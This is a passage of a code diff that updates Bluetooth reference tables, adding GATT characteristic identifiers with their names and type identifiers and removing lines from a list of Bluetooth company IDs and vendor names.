"org.bluetooth.characteristic.barometric_pressure_trend" + }, + "10916": { + "name": "Bond Management Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.bond_management_control_point" + }, + "10917": { + "name": "Bond Management Features", + "uniform_type_identifier": "org.bluetooth.characteristic.bond_management_feature" + }, + "10918": { + "name": "Central Address Resolution", + "uniform_type_identifier": "org.bluetooth.characteristic.gap.central_address_resolution" + }, + "10919": { + "name": "CGM Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.cgm_measurement" + }, + "10920": { + "name": "CGM Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.cgm_feature" + }, + "10921": { + "name": "CGM Status", + "uniform_type_identifier": "org.bluetooth.characteristic.cgm_status" + }, + "10922": { + "name": "CGM Session Start Time", + "uniform_type_identifier": "org.bluetooth.characteristic.cgm_session_start_time" + }, + "10923": { + "name": "CGM Session Run Time", + "uniform_type_identifier": "org.bluetooth.characteristic.cgm_session_run_time" + }, + "10924": { + "name": "CGM Specific Ops Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.cgm_specific_ops_control_point" + }, + "10925": { + "name": "Indoor Positioning Configuration", + "uniform_type_identifier": "org.bluetooth.characteristic.indoor_positioning_configuration" + }, + "10926": { + "name": "Latitude", + "uniform_type_identifier": "org.bluetooth.characteristic.latitude" + }, + "10927": { + "name": "Longitude", + "uniform_type_identifier": "org.bluetooth.characteristic.Longitude" + }, + "10928": { + "name": "Local North Coordinate", + "uniform_type_identifier": "org.bluetooth.characteristic.local_north_coordinate" + }, + "10929": { + "name": "Local East Coordinate", + "uniform_type_identifier": "org.bluetooth.characteristic.local_east_coordinate" + }, + "10930": { + "name": "Floor Number", + "uniform_type_identifier": "org.bluetooth.characteristic.floor_number" + }, + "10931": { + "name": "Altitude", + "uniform_type_identifier": "org.bluetooth.characteristic.altitude" + }, + "10932": { + "name": "Uncertainty", + "uniform_type_identifier": "org.bluetooth.characteristic.uncertainty" + }, + "10933": { + "name": "Location Name", + "uniform_type_identifier": "org.bluetooth.characteristic.location_name" + }, + "10934": { + "name": "URI", + "uniform_type_identifier": "org.bluetooth.characteristic.uri" + }, + "10935": { + "name": "HTTP Headers", + "uniform_type_identifier": "org.bluetooth.characteristic.http_headers" + }, + "10936": { + "name": "HTTP Status Code", + "uniform_type_identifier": "org.bluetooth.characteristic.http_status_code" + }, + "10937": { + "name": "HTTP Entity Body", + "uniform_type_identifier": "org.bluetooth.characteristic.http_entity_body" + }, + "10938": { + "name": "HTTP Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.http_control_point" + }, + "10939": { + "name": "HTTPS Security", + "uniform_type_identifier": "org.bluetooth.characteristic.https_security" + }, + "10940": { + "name": "TDS Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.tds_control_point" + }, + "10941": { + "name": "OTS Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.ots_feature" + }, + "10942": { + "name": "Object Name", + "uniform_type_identifier": "org.bluetooth.characteristic.object_name" + }, + "10943": { + "name": "Object Type", + "uniform_type_identifier": "org.bluetooth.characteristic.object_type" + }, + "10944": { + "name": "Object Size", + "uniform_type_identifier": "org.bluetooth.characteristic.object_size" + }, + "10945": { + "name": "Object First-Created", + "uniform_type_identifier": "org.bluetooth.characteristic.object_first_created" + }, + "10946": { + "name": "Object Last-Modified", + "uniform_type_identifier": "org.bluetooth.characteristic.object_last_modified" + }, + "10947": { + "name": "Object ID", + "uniform_type_identifier": "org.bluetooth.characteristic.object_id" + }, + "10948": { + "name": "Object Properties", + "uniform_type_identifier": "org.bluetooth.characteristic.object_properties" + }, + "10949": { + "name": "Object Action Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.object_action_control_point" + }, + "10950": { + "name": "Object List Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.object_list_control_point" + }, + "10951": { + "name": "Object List Filter", + "uniform_type_identifier": "org.bluetooth.characteristic.object_list_filter" + }, + "10952": { + "name": "Object Changed", + "uniform_type_identifier": "org.bluetooth.characteristic.object_changed" + }, + "10953": { + "name": "Resolvable Private Address Only", + "uniform_type_identifier": "org.bluetooth.characteristic.resolvable_private_address_only" + }, + "10956": { + "name": "Fitness Machine Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.fitness_machine_feature" + }, + "10957": { + "name": "Treadmill Data", + "uniform_type_identifier": "org.bluetooth.characteristic.treadmill_data" + }, + "10958": { + "name": "Cross Trainer Data", + "uniform_type_identifier": "org.bluetooth.characteristic.cross_trainer_data" + }, + "10959": { + "name": "Step Climber Data", + "uniform_type_identifier": "org.bluetooth.characteristic.step_climber_data" + }, + "10960": { + "name": "Stair Climber Data", + "uniform_type_identifier": "org.bluetooth.characteristic.stair_climber_data" + }, + "10961": { + "name": "Rower Data", + "uniform_type_identifier": "org.bluetooth.characteristic.rower_data" + }, + "10962": { + "name": "Indoor Bike Data", + "uniform_type_identifier": "org.bluetooth.characteristic.indoor_bike_data" + }, + "10963": { + "name": "Training Status", + "uniform_type_identifier": "org.bluetooth.characteristic.training_status" + }, + "10964": { + "name": "Supported Speed Range", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_speed_range" + }, + "10965": { + "name": "Supported Inclination Range", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_inclination_range" + }, + "10966": { + "name": "Supported Resistance Level Range", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_resistance_level_range" + }, + "10967": { + "name": "Supported Heart Rate Range", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_heart_rate_range" + }, + "10968": { + "name": "Supported Power Range", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_power_range" + }, + "10969": { + "name": "Fitness Machine Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.fitness_machine_control_point" + }, + "10970": { + "name": "Fitness Machine Status", + "uniform_type_identifier": "org.bluetooth.characteristic.fitness_machine_status" + }, + "11037": { + "name": "RC Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.rc_feature" + }, + "11038": { + "name": "RC Settings", + "uniform_type_identifier": "org.bluetooth.characteristic.rc_settings" + }, + "11039": { + "name": "Reconnection Configuration Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.reconnection_configuration_control_point" + } } COMPANY_ID = { - "0": "Ericsson Technology Licensing", - "1": "Nokia Mobile Phones", - "2": "Intel Corp.", - "3": "IBM Corp.", - "4": "Toshiba Corp.", - "5": "3Com", - "6": "Microsoft", - "7": "Lucent", - "8": "Motorola", - "9": "Infineon Technologies AG", - "10": "Qualcomm Technologies International, Ltd. (QTIL)", - "11": "Silicon Wave", - "12": "Digianswer A/S", - "13": "Texas Instruments Inc.", - "14": "Parthus Technologies Inc.", - "15": "Broadcom Corporation", - "16": "Mitel Semiconductor", - "17": "Widcomm, Inc.", - "18": "Zeevo, Inc.", - "19": "Atmel Corporation", - "20": "Mitsubishi Electric Corporation", - "21": "RTX Telecom A/S", - "22": "KC Technology Inc.", - "23": "Newlogic", - "24": "Transilica, Inc.", - "25": "Rohde & Schwarz GmbH & Co. KG", - "26": "TTPCom Limited", - "27": "Signia Technologies, Inc.", - "28": "Conexant Systems Inc.", - "29": "Qualcomm", - "30": "Inventel", - "31": "AVM Berlin", - "32": "BandSpeed, Inc.", - "33": "Mansella Ltd", - "34": "NEC Corporation", - "35": "WavePlus Technology Co., Ltd.", - "36": "Alcatel", - "37": "NXP Semiconductors (formerly Philips Semiconductors)", - "38": "C Technologies", - "39": "Open Interface", - "40": "R F Micro Devices", - "41": "Hitachi Ltd", - "42": "Symbol Technologies, Inc.", - "43": "Tenovis", - "44": "Macronix International Co. Ltd.", - "45": "GCT Semiconductor", - "46": "Norwood Systems", - "47": "MewTel Technology Inc.", - "48": "ST Microelectronics", - "49": "Synopsys, Inc.", - "50": "Red-M (Communications) Ltd", - "51": "Commil Ltd", - "52": "Computer Access Technology Corporation (CATC)", - "53": "Eclipse (HQ Espana) S.L.", - "54": "Renesas Electronics Corporation", - "55": "Mobilian Corporation", - "56": "Syntronix Corporation", - "57": "Integrated System Solution Corp.", - "58": "Matsushita Electric Industrial Co., Ltd.", - "59": "Gennum Corporation", - "60": "BlackBerry Limited (formerly Research In Motion)", - "61": "IPextreme, Inc.", - "62": "Systems and Chips, Inc", - "63": "Bluetooth SIG, Inc", - "64": "Seiko Epson Corporation", - "65": "Integrated Silicon Solution Taiwan, Inc.", - "66": "CONWISE Technology Corporation Ltd", - "67": "PARROT AUTOMOTIVE SAS", - "68": "Socket Mobile", - "69": "Atheros Communications, Inc.", - "70": "MediaTek, Inc.", - "71": "Bluegiga", - "72": "Marvell Technology Group Ltd.", - "73": "3DSP Corporation", - "74": "Accel Semiconductor Ltd.", - "75": "Continental Automotive Systems", - "76": "Apple, Inc.", - "77": "Staccato Communications, Inc.", - "78": "Avago Technologies", - "79": "APT Ltd.", - "80": "SiRF Technology, Inc.", - "81": "Tzero Technologies, Inc.", - "82": "J&M Corporation", - "83": "Free2move AB", - "84": "3DiJoy Corporation", - "85": "Plantronics, Inc.", - "86": "Sony Ericsson Mobile Communications", - "87": "Harman International Industries, Inc.", - "88": "Vizio, Inc.", - "89": "Nordic Semiconductor ASA", - "90": "EM Microelectronic-Marin SA", - "91": "Ralink Technology Corporation", - "92": "Belkin International, Inc.", - "93": "Realtek Semiconductor Corporation", - "94": "Stonestreet One, LLC", - "95": "Wicentric, Inc.", - "96": "RivieraWaves S.A.S", - "97": "RDA Microelectronics", - "98": "Gibson Guitars", - "99": "MiCommand Inc.", - "100": "Band XI International, LLC", - "101": "Hewlett-Packard Company", - "102": "9Solutions Oy", - "103": "GN Netcom A/S", - "104": "General Motors", - "105": "A&D Engineering, Inc.", - "106": "MindTree Ltd.", - "107": "Polar Electro OY", - "108": "Beautiful Enterprise Co., Ltd.", - "109": "BriarTek, Inc", - "110": "Summit Data Communications, Inc.", - "111": "Sound ID", - "112": "Monster, LLC", - "113": "connectBlue AB", - "114": "ShangHai Super Smart Electronics Co. Ltd.", - "115": "Group Sense Ltd.", - "116": "Zomm, LLC", - "117": "Samsung Electronics Co. Ltd.", - "118": "Creative Technology Ltd.", - "119": "Laird Technologies", - "120": "Nike, Inc.", - "121": "lesswire AG", - "122": "MStar Semiconductor, Inc.", - "123": "Hanlynn Technologies", - "124": "A & R Cambridge", - "125": "Seers Technology Co., Ltd.", - "126": "Sports Tracking Technologies Ltd.", - "127": "Autonet Mobile", - "128": "DeLorme Publishing Company, Inc.", - "129": "WuXi Vimicro", - "130": "Sennheiser Communications A/S", - "131": "TimeKeeping Systems, Inc.", - "132": "Ludus Helsinki Ltd.", - "133": "BlueRadios, Inc.", - "134": "Equinux AG", - "135": "Garmin International, Inc.", - "136": "Ecotest", - "137": "GN ReSound A/S", - "138": "Jawbone", - "139": "Topcon Positioning Systems, LLC", - "140": "Gimbal Inc. (formerly Qualcomm Labs, Inc. and Qualcomm Retail Solutions, Inc.)", - "141": "Zscan Software", - "142": "Quintic Corp", - "143": "Telit Wireless Solutions GmbH (formerly Stollmann E+V GmbH)", - "144": "Funai Electric Co., Ltd.", - "145": "Advanced PANMOBIL systems GmbH & Co. KG", - "146": "ThinkOptics, Inc.", - "147": "Universal Electronics, Inc.", - "148": "Airoha Technology Corp.", - "149": "NEC Lighting, Ltd.", - "150": "ODM Technology, Inc.", - "151": "ConnecteDevice Ltd.", - "152": "zero1.tv GmbH", - "153": "i.Tech Dynamic Global Distribution Ltd.", - "154": "Alpwise", - "155": "Jiangsu Toppower Automotive Electronics Co., Ltd.", - "156": "Colorfy, Inc.", - "157": "Geoforce Inc.", - "158": "Bose Corporation", - "159": "Suunto Oy", - "160": "Kensington Computer Products Group", - "161": "SR-Medizinelektronik", - "162": "Vertu Corporation Limited", - "163": "Meta Watch Ltd.", - "164": "LINAK A/S", - "165": "OTL Dynamics LLC", - "166": "Panda Ocean Inc.", - "167": "Visteon Corporation", - "168": "ARP Devices Limited", - "169": "Magneti Marelli S.p.A", - "170": "CAEN RFID srl", - "171": "Ingenieur-Systemgruppe Zahn GmbH", - "172": "Green Throttle Games", - "173": "Peter Systemtechnik GmbH", - "174": "Omegawave Oy", - "175": "Cinetix", - "176": "Passif Semiconductor Corp", - "177": "Saris Cycling Group, Inc", - "178": "Bekey A/S", - "179": "Clarinox Technologies Pty. Ltd.", - "180": "BDE Technology Co., Ltd.", - "181": "Swirl Networks", - "182": "Meso international", - "183": "TreLab Ltd", - "184": "Qualcomm Innovation Center, Inc. (QuIC)", - "185": "Johnson Controls, Inc.", - "186": "Starkey Laboratories Inc.", - "187": "S-Power Electronics Limited", - "188": "Ace Sensor Inc", - "189": "Aplix Corporation", - "190": "AAMP of America", - "191": "Stalmart Technology Limited", - "192": "AMICCOM Electronics Corporation", - "193": "Shenzhen Excelsecu Data Technology Co.,Ltd", - "194": "Geneq Inc.", - "195": "adidas AG", - "196": "LG Electronics", - "197": "Onset Computer Corporation", - "198": "Selfly BV", - "199": "Quuppa Oy.", - "200": "GeLo Inc", - "201": "Evluma", - "202": "MC10", - "203": "Binauric SE", - "204": "Beats Electronics", - "205": "Microchip Technology Inc.", - "206": "Elgato Systems GmbH", - "207": "ARCHOS SA", - "208": "Dexcom, Inc.", - "209": "Polar Electro Europe B.V.", - "210": "Dialog Semiconductor B.V.", - "211": "Taixingbang Technology (HK) Co,. LTD.", - "212": "Kawantech", - "213": "Austco Communication Systems", - "214": "Timex Group USA, Inc.", - "215": "Qualcomm Technologies, Inc.", - "216": "Qualcomm Connected Experiences, Inc.", - "217": "Voyetra Turtle Beach", - "218": "txtr GmbH", - "219": "Biosentronics", - "220": "Procter & Gamble", - "221": "Hosiden Corporation", - "222": "Muzik LLC", - "223": "Misfit Wearables Corp", - "224": "Google", - "225": "Danlers Ltd", - "226": "Semilink Inc", - "227": "inMusic Brands, Inc", - "228": "L.S. Research Inc.", - "229": "Eden Software Consultants Ltd.", - "230": "Freshtemp", - "231": "KS Technologies", - "232": "ACTS Technologies", - "233": "Vtrack Systems", - "234": "Nielsen-Kellerman Company", - "235": "Server Technology Inc.", - "236": "BioResearch Associates", - "237": "Jolly Logic, LLC", - "238": "Above Average Outcomes, Inc.", - "239": "Bitsplitters GmbH", - "240": "PayPal, Inc.", - "241": "Witron Technology Limited", - "242": "Morse Project Inc.", - "243": "Kent Displays Inc.", - "244": "Nautilus Inc.", - "245": "Smartifier Oy", - "246": "Elcometer Limited", - "247": "VSN Technologies, Inc.", - "248": "AceUni Corp., Ltd.", - "249": "StickNFind", - "250": "Crystal Code AB", - "251": "KOUKAAM a.s.", - "252": "Delphi Corporation", - "253": "ValenceTech Limited", - "254": "Stanley Black and Decker", - "255": "Typo Products, LLC", - "256": "TomTom International BV", - "257": "Fugoo, Inc.", - "258": "Keiser Corporation", - "259": "Bang & Olufsen A/S", - "260": "PLUS Location Systems Pty Ltd", - "261": "Ubiquitous Computing Technology Corporation", - "262": "Innovative Yachtter Solutions", - "263": "William Demant Holding A/S", - "264": "Chicony Electronics Co., Ltd.", - "265": "Atus BV", - "266": "Codegate Ltd", - "267": "ERi, Inc", - "268": "Transducers Direct, LLC", - "269": "Fujitsu Ten LImited", - "270": "Audi AG", - "271": "HiSilicon Technologies Col, Ltd.", - "272": "Nippon Seiki Co., Ltd.", - "273": "Steelseries ApS", - "274": "Visybl Inc.", - "275": "Openbrain Technologies, Co., Ltd.", - "276": "Xensr", - "277": "e.solutions", - "278": "10AK Technologies", - "279": "Wimoto Technologies Inc", - "280": "Radius Networks, Inc.", - "281": "Wize Technology Co., Ltd.", - "282": "Qualcomm Labs, Inc.", - "283": "Hewlett Packard Enterprise", - "284": "Baidu", - "285": "Arendi AG", - "286": "Skoda Auto a.s.", - "287": "Volkswagen AG", - "288": "Porsche AG", - "289": "Sino Wealth Electronic Ltd.", - "290": "AirTurn, Inc.", - "291": "Kinsa, Inc", - "292": "HID Global", - "293": "SEAT es", - "294": "Promethean Ltd.", - "295": "Salutica Allied Solutions", - "296": "GPSI Group Pty Ltd", - "297": "Nimble Devices Oy", - "298": "Changzhou Yongse Infotech Co., Ltd.", - "299": "SportIQ", - "300": "TEMEC Instruments B.V.", - "301": "Sony Corporation", - "302": "ASSA ABLOY", - "303": "Clarion Co. Inc.", - "304": "Warehouse Innovations", - "305": "Cypress Semiconductor", - "306": "MADS Inc", - "307": "Blue Maestro Limited", - "308": "Resolution Products, Ltd.", - "309": "Aireware LLC", - "310": "Silvair, Inc.", - "311": "Prestigio Plaza Ltd.", - "312": "NTEO Inc.", - "313": "Focus Systems Corporation", - "314": "Tencent Holdings Ltd.", - "315": "Allegion", - "316": "Murata Manufacturing Co., Ltd.", - "317": "WirelessWERX", - "318": "Nod, Inc.", - "319": "B&B Manufacturing Company", - "320": "Alpine Electronics (China) Co., Ltd", - "321": "FedEx Services", - "322": "Grape Systems Inc.", - "323": "Bkon Connect", - "324": "Lintech GmbH", - "325": "Novatel Wireless", - "326": "Ciright", - "327": "Mighty Cast, Inc.", - "328": "Ambimat Electronics", - "329": "Perytons Ltd.", - "330": "Tivoli Audio, LLC", - "331": "Master Lock", - "332": "Mesh-Net Ltd", - "333": "HUIZHOU DESAY SV AUTOMOTIVE CO., LTD.", - "334": "Tangerine, Inc.", - "335": "B&W Group Ltd.", - "336": "Pioneer Corporation", - "337": "OnBeep", - "338": "Vernier Software & Technology", - "339": "ROL Ergo", - "340": "Pebble Technology", - "341": "NETATMO", - "342": "Accumulate AB", - "343": "Anhui Huami Information Technology Co., Ltd.", - "344": "Inmite s.r.o.", - "345": "ChefSteps, Inc.", - "346": "micas AG", - "347": "Biomedical Research Ltd.", - "348": "Pitius Tec S.L.", - "349": "Estimote, Inc.", - "350": "Unikey Technologies, Inc.", - "351": "Timer Cap Co.", - "352": "AwoX", - "353": "yikes", - "354": "MADSGlobalNZ Ltd.", - "355": "PCH International", - "356": "Qingdao Yeelink Information Technology Co., Ltd.", - "357": "Milwaukee Tool (Formally Milwaukee Electric Tools)", - "358": "MISHIK Pte Ltd", - "359": "Ascensia Diabetes Care US Inc.", - "360": "Spicebox LLC", - "361": "emberlight", - "362": "Cooper-Atkins Corporation", - "363": "Qblinks", - "364": "MYSPHERA", - "365": "LifeScan Inc", - "366": "Volantic AB", - "367": "Podo Labs, Inc", - "368": "Roche Diabetes Care AG", - "369": "Amazon Fulfillment Service", - "370": "Connovate Technology Private Limited", - "371": "Kocomojo, LLC", - "372": "Everykey Inc.", - "373": "Dynamic Controls", - "374": "SentriLock", - "375": "I-SYST inc.", - "376": "CASIO COMPUTER CO., LTD.", - "377": "LAPIS Semiconductor Co., Ltd.", - "378": "Telemonitor, Inc.", - "379": "taskit GmbH", - "380": "Daimler AG", - "381": "BatAndCat", - "382": "BluDotz Ltd", - "383": "XTel Wireless ApS", - "384": "Gigaset Communications GmbH", - "385": "Gecko Health Innovations, Inc.", - "386": "HOP Ubiquitous", - "387": "Walt Disney", - "388": "Nectar", - "389": "bel'apps LLC", - "390": "CORE Lighting Ltd", - "391": "Seraphim Sense Ltd", - "392": "Unico RBC", - "393": "Physical Enterprises Inc.", - "394": "Able Trend Technology Limited", - "395": "Konica Minolta, Inc.", - "396": "Wilo SE", - "397": "Extron Design Services", - "398": "Fitbit, Inc.", - "399": "Fireflies Systems", - "400": "Intelletto Technologies Inc.", - "401": "FDK CORPORATION", - "402": "Cloudleaf, Inc", - "403": "Maveric Automation LLC", - "404": "Acoustic Stream Corporation", - "405": "Zuli", - "406": "Paxton Access Ltd", - "407": "WiSilica Inc.", - "408": "VENGIT Korlatolt Felelossegu Tarsasag", - "409": "SALTO SYSTEMS S.L.", - "410": "TRON Forum (formerly T-Engine Forum)", - "411": "CUBETECH s.r.o.", - "412": "Cokiya Incorporated", - "413": "CVS Health", - "414": "Ceruus", - "415": "Strainstall Ltd", - "416": "Channel Enterprises (HK) Ltd.", - "417": "FIAMM", - "418": "GIGALANE.CO.,LTD", - "419": "EROAD", - "420": "Mine Safety Appliances", - "421": "Icon Health and Fitness", - "422": "Asandoo GmbH", - "423": "ENERGOUS CORPORATION", - "424": "Taobao", - "425": "Canon Inc.", - "426": "Geophysical Technology Inc.", - "427": "Facebook, Inc.", - "428": "Trividia Health, Inc.", - "429": "FlightSafety International", - "430": "Earlens Corporation", - "431": "Sunrise Micro Devices, Inc.", - "432": "Star Micronics Co., Ltd.", - "433": "Netizens Sp. z o.o.", - "434": "Nymi Inc.", - "435": "Nytec, Inc.", - "436": "Trineo Sp. z o.o.", - "437": "Nest Labs Inc.", - "438": "LM Technologies Ltd", - "439": "General Electric Company", - "440": "i+D3 S.L.", - "441": "HANA Micron", - "442": "Stages Cycling LLC", - "443": "Cochlear Bone Anchored Solutions AB", - "444": "SenionLab AB", - "445": "Syszone Co., Ltd", - "446": "Pulsate Mobile Ltd.", - "447": "Hong Kong HunterSun Electronic Limited", - "448": "pironex GmbH", - "449": "BRADATECH Corp.", - "450": "Transenergooil AG", - "451": "Bunch", - "452": "DME Microelectronics", - "453": "Bitcraze AB", - "454": "HASWARE Inc.", - "455": "Abiogenix Inc.", - "456": "Poly-Control ApS", - "457": "Avi-on", - "458": "Laerdal Medical AS", - "459": "Fetch My Pet", - "460": "Sam Labs Ltd.", - "461": "Chengdu Synwing Technology Ltd", - "462": "HOUWA SYSTEM DESIGN, k.k.", - "463": "BSH", - "464": "Primus Inter Pares Ltd", - "465": "August Home, Inc", - "466": "Gill Electronics", - "467": "Sky Wave Design", - "468": "Newlab S.r.l.", - "469": "ELAD srl", - "470": "G-wearables inc.", - "471": "Squadrone Systems Inc.", - "472": "Code Corporation", - "473": "Savant Systems LLC", - "474": "Logitech International SA", - "475": "Innblue Consulting", - "476": "iParking Ltd.", - "477": "Koninklijke Philips Electronics N.V.", - "478": "Minelab Electronics Pty Limited", - "479": "Bison Group Ltd.", - "480": "Widex A/S", - "481": "Jolla Ltd", - "482": "Lectronix, Inc.", - "483": "Caterpillar Inc", - "484": "Freedom Innovations", - "485": "Dynamic Devices Ltd", - "486": "Technology Solutions (UK) Ltd", - "487": "IPS Group Inc.", - "488": "STIR", - "489": "Sano, Inc.", - "490": "Advanced Application Design, Inc.", - "491": "AutoMap LLC", - "492": "Spreadtrum Communications Shanghai Ltd", - "493": "CuteCircuit LTD", - "494": "Valeo Service", - "495": "Fullpower Technologies, Inc.", - "496": "KloudNation", - "497": "Zebra Technologies Corporation", - "498": "Itron, Inc.", - "499": "The University of Tokyo", - "500": "UTC Fire and Security", - "501": "Cool Webthings Limited", - "502": "DJO Global", - "503": "Gelliner Limited", - "504": "Anyka (Guangzhou) Microelectronics Technology Co, LTD", - "505": "Medtronic Inc.", - "506": "Gozio Inc.", - "507": "Form Lifting, LLC", - "508": "Wahoo Fitness, LLC", - "509": "Kontakt Micro-Location Sp. z o.o.", - "510": "Radio Systems Corporation", - "511": "Freescale Semiconductor, Inc.", - "512": "Verifone Systems Pte Ltd. Taiwan Branch", - "513": "AR Timing", - "514": "Rigado LLC", - "515": "Kemppi Oy", - "516": "Tapcentive Inc.", - "517": "Smartbotics Inc.", - "518": "Otter Products, LLC", - "519": "STEMP Inc.", - "520": "LumiGeek LLC", - "521": "InvisionHeart Inc.", - "522": "Macnica Inc.", - "523": "Jaguar Land Rover Limited", - "524": "CoroWare Technologies, Inc", - "525": "Simplo Technology Co., LTD", - "526": "Omron Healthcare Co., LTD", - "527": "Comodule GMBH", - "528": "ikeGPS", - "529": "Telink Semiconductor Co. Ltd", - "530": "Interplan Co., Ltd", - "531": "Wyler AG", - "532": "IK Multimedia Production srl", - "533": "Lukoton Experience Oy", - "534": "MTI Ltd", - "535": "Tech4home, Lda", - "536": "Hiotech AB", - "537": "DOTT Limited", - "538": "Blue Speck Labs, LLC", - "539": "Cisco Systems, Inc", - "540": "Mobicomm Inc", - "541": "Edamic", - "542": "Goodnet, Ltd", - "543": "Luster Leaf Products Inc", - "544": "Manus Machina BV", - "545": "Mobiquity Networks Inc", - "546": "Praxis Dynamics", - "547": "Philip Morris Products S.A.", - "548": "Comarch SA", - "549": "Nestl Nespresso S.A.", - "550": "Merlinia A/S", - "551": "LifeBEAM Technologies", - "552": "Twocanoes Labs, LLC", - "553": "Muoverti Limited", - "554": "Stamer Musikanlagen GMBH", - "555": "Tesla Motors", - "556": "Pharynks Corporation", - "557": "Lupine", - "558": "Siemens AG", - "559": "Huami (Shanghai) Culture Communication CO., LTD", - "560": "Foster Electric Company, Ltd", - "561": "ETA SA", - "562": "x-Senso Solutions Kft", - "563": "Shenzhen SuLong Communication Ltd", - "564": "FengFan (BeiJing) Technology Co, Ltd", - "565": "Qrio Inc", - "566": "Pitpatpet Ltd", - "567": "MSHeli s.r.l.", - "568": "Trakm8 Ltd", - "569": "JIN CO, Ltd", - "570": "Alatech Tehnology", - "571": "Beijing CarePulse Electronic Technology Co, Ltd", - "572": "Awarepoint", - "573": "ViCentra B.V.", - "574": "Raven Industries", - "575": "WaveWare Technologies Inc.", - "576": "Argenox Technologies", - "577": "Bragi GmbH", - "578": "16Lab Inc", - "579": "Masimo Corp", - "580": "Iotera Inc", - "581": "Endress+Hauser", - "582": "ACKme Networks, Inc.", - "583": "FiftyThree Inc.", - "584": "Parker Hannifin Corp", - "585": "Transcranial Ltd", - "586": "Uwatec AG", - "587": "Orlan LLC", - "588": "Blue Clover Devices", - "589": "M-Way Solutions GmbH", - "590": "Microtronics Engineering GmbH", - "591": "Schneider Schreibgerte GmbH", - "592": "Sapphire Circuits LLC", - "593": "Lumo Bodytech Inc.", - "594": "UKC Technosolution", - "595": "Xicato Inc.", - "596": "Playbrush", - "597": "Dai Nippon Printing Co., Ltd.", - "598": "G24 Power Limited", - "599": "AdBabble Local Commerce Inc.", - "600": "Devialet SA", - "601": "ALTYOR", - "602": "University of Applied Sciences Valais/Haute Ecole Valaisanne", - "603": "Five Interactive, LLC dba Zendo", - "604": "NetEaseHangzhouNetwork co.Ltd.", - "605": "Lexmark International Inc.", - "606": "Fluke Corporation", - "607": "Yardarm Technologies", - "608": "SensaRx", - "609": "SECVRE GmbH", - "610": "Glacial Ridge Technologies", - "611": "Identiv, Inc.", - "612": "DDS, Inc.", - "613": "SMK Corporation", - "614": "Schawbel Technologies LLC", - "615": "XMI Systems SA", - "616": "Cerevo", - "617": "Torrox GmbH & Co KG", - "618": "Gemalto", - "619": "DEKA Research & Development Corp.", - "620": "Domster Tadeusz Szydlowski", - "621": "Technogym SPA", - "622": "FLEURBAEY BVBA", - "623": "Aptcode Solutions", - "624": "LSI ADL Technology", - "625": "Animas Corp", - "626": "Alps Electric Co., Ltd.", - "627": "OCEASOFT", - "628": "Motsai Research", - "629": "Geotab", - "630": "E.G.O. Elektro-Gertebau GmbH", - "631": "bewhere inc", - "632": "Johnson Outdoors Inc", - "633": "steute Schaltgerate GmbH & Co. KG", - "634": "Ekomini inc.", - "635": "DEFA AS", - "636": "Aseptika Ltd", - "637": "HUAWEI Technologies Co., Ltd. ( )", - "638": "HabitAware, LLC", - "639": "ruwido austria gmbh", - "640": "ITEC corporation", - "641": "StoneL", - "642": "Sonova AG", - "643": "Maven Machines, Inc.", - "644": "Synapse Electronics", - "645": "Standard Innovation Inc.", - "646": "RF Code, Inc.", - "647": "Wally Ventures S.L.", - "648": "Willowbank Electronics Ltd", - "649": "SK Telecom", - "650": "Jetro AS", - "651": "Code Gears LTD", - "652": "NANOLINK APS", - "653": "IF, LLC", - "654": "RF Digital Corp", - "655": "Church & Dwight Co., Inc", - "656": "Multibit Oy", - "657": "CliniCloud Inc", - "658": "SwiftSensors", - "659": "Blue Bite", - "660": "ELIAS GmbH", - "661": "Sivantos GmbH", - "662": "Petzl", - "663": "storm power ltd", - "664": "EISST Ltd", - "665": "Inexess Technology Simma KG", - "666": "Currant, Inc.", - "667": "C2 Development, Inc.", - "668": "Blue Sky Scientific, LLC", - "669": "ALOTTAZS LABS, LLC", - "670": "Kupson spol. s r.o.", - "671": "Areus Engineering GmbH", - "672": "Impossible Camera GmbH", - "673": "InventureTrack Systems", - "674": "LockedUp", - "675": "Itude", - "676": "Pacific Lock Company", - "677": "Tendyron Corporation ( )", - "678": "Robert Bosch GmbH", - "679": "Illuxtron international B.V.", - "680": "miSport Ltd.", - "681": "Chargelib", - "682": "Doppler Lab", - "683": "BBPOS Limited", - "684": "RTB Elektronik GmbH & Co. KG", - "685": "Rx Networks, Inc.", - "686": "WeatherFlow, Inc.", - "687": "Technicolor USA Inc.", - "688": "Bestechnic(Shanghai),Ltd", - "689": "Raden Inc", - "690": "JouZen Oy", - "691": "CLABER S.P.A.", - "692": "Hyginex, Inc.", - "693": "HANSHIN ELECTRIC RAILWAY CO.,LTD.", - "694": "Schneider Electric", - "695": "Oort Technologies LLC", - "696": "Chrono Therapeutics", - "697": "Rinnai Corporation", - "698": "Swissprime Technologies AG", - "699": "Koha.,Co.Ltd", - "700": "Genevac Ltd", - "701": "Chemtronics", - "702": "Seguro Technology Sp. z o.o.", - "703": "Redbird Flight Simulations", - "704": "Dash Robotics", - "705": "LINE Corporation", - "706": "Guillemot Corporation", - "707": "Techtronic Power Tools Technology Limited", - "708": "Wilson Sporting Goods", - "709": "Lenovo (Singapore) Pte Ltd. ( )", - "710": "Ayatan Sensors", - "711": "Electronics Tomorrow Limited", - "712": "VASCO Data Security International, Inc.", - "713": "PayRange Inc.", - "714": "ABOV Semiconductor", - "715": "AINA-Wireless Inc.", - "716": "Eijkelkamp Soil & Water", - "717": "BMA ergonomics b.v.", - "718": "Teva Branded Pharmaceutical Products R&D, Inc.", - "719": "Anima", - "720": "3M", - "721": "Empatica Srl", - "722": "Afero, Inc.", - "723": "Powercast Corporation", - "724": "Secuyou ApS", - "725": "OMRON Corporation", - "726": "Send Solutions", - "727": "NIPPON SYSTEMWARE CO.,LTD.", - "728": "Neosfar", 